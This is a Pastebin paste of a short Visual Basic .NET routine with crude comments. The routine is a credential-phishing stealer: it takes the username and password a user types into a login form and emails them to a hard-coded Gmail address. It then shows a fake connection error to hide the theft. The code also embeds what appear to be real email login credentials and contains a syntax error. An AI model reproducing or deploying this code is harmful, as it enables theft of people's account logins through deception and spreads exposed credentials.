Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub Main()
- 'Stop people fucking with our bot
- Dim fileReader As String
- fileReader = My.Computer.FileSystem.ReadAllText("auth.txt")
- fileReader.Split(: ) 'Fix this and I wank you Jack -Oli
- Dim smtpServer As New SmtpClient()
- Dim mail As New MailMessage()
- 'The smtpserver.credentials will use the Gmail & password below
- smtpServer.Credentials = New Net.NetworkCredential("chelstoness@gmail.com", "bitcoin1")
- 'smtpserver.port = 587 that's the default of the gmail
- smtpServer.Port = 587
- 'smtpserver.host = the host you actually use so gmail
- smtpServer.Host = "smtp.gmail.com"
- 'smtpserver.enableSsl = true it will enable the SSL
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("chelstoness@gmail.com")
- mail.To.Add("chelstoness@gmail.com")
- mail.Subject = "Username: " & UsernameBox.Text
- mail.Body = "Username : " & UsernameBox.Text & ", " & "Password : " & PasswordBox.Text
- smtpServer.Send(mail)
- MsgBox("Error, Could Not Connect To Your Account! Try Again Later!")
- End Sub
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement